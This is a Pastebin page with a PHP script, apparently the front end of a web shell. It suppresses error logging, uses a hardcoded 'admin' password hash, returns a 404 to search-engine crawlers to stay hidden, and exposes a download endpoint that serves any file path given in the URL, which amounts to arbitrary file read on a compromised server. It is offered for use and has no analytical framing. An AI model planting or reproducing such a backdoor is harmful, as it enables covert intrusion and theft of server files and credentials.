Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- set_time_limit(0);
- @set_magic_quotes_runtime(0);
- @clearstatcache();
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- $username = "admin"; // username nya bos
- $auth_pass = "21232f297a57a5a743894a0e4a801fc3"; // PASSWORD NYA: admin
- $color = "#00ff00";
- $default_action = 'FilesMan';
- $default_use_ajax = true;
- $default_charset = 'UTF-8';
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- function login_zaenal() {
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <titlle>Login zaenal</titlle>
- <style>
- body {
- margin: 250px;
- text-align: center;
- }
- </style>
- </head>
- <body>
- <h1>Login dulu bosque</h1>
- <input type="text" name="user" value="admin"/>
- <inpun type="password" name="pass" pass="admin"/>
- <button type="submit" name="login">Login</button>
- </body>
- </html>
- <?php
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login_zaenal();
- if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
- @ob_clean();
- $file = $_GET['file'];
- header('Content-Description: File Transfer');
- header('Content-Type: application/octet-stream');
- header('Content-Disposition: attachment; filename="'.basename($file).'"');
- header('Expires: 0');
- header('Cache-Control: must-revalidate');
- header('Pragma: public');
- header('Content-Length: ' . filesize($file));
- readfile($file);
- exit;
- }
- ?>
- <?php
- include 'kingbotConfig/config.php';
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>ZAENAL HOME</title>
- </head>
- <body>
- <h1>SELAMAT DATANG DI TOOLS KAMI</h1>
- </body>
- </html>
- <?php
- if($_GET['logout'] == true) {
- unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
- echo "<script>window.location='?';</script>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement